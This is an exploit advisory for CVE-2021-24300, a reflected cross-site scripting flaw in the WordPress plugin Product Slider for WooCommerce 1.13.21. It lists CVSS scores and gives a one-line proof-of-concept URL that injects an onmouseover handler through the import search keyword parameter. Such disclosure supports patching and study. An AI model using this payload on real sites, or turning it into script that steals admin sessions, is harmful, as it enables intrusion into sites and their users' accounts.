WordPress Product Slider For WooCommerce 1.13.21 Cross Site Scripting

2022.02.03

Credit: 0xB9

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2021-24300

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: WordPress Plugin Product Slider for WooCommerce 1.13.21 - Cross Site Scripting (XSS)
# Date: 3/16/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/woocommerc...ts-slider/
# Version: 1.13.21
# Tested on: Windows 10
# CVE: CVE-2021-24300
1. Description:
This plugin is a easy carousel slider for WooCommerce products. The slider import search feature is vulnerable to reflected cross-site scripting.
2. Proof of Concept:
wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover=alert(1);//

See this note in RAW Version

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WordPress Product Slider For WooCommerce 1.13.21 Cross Site Scripting

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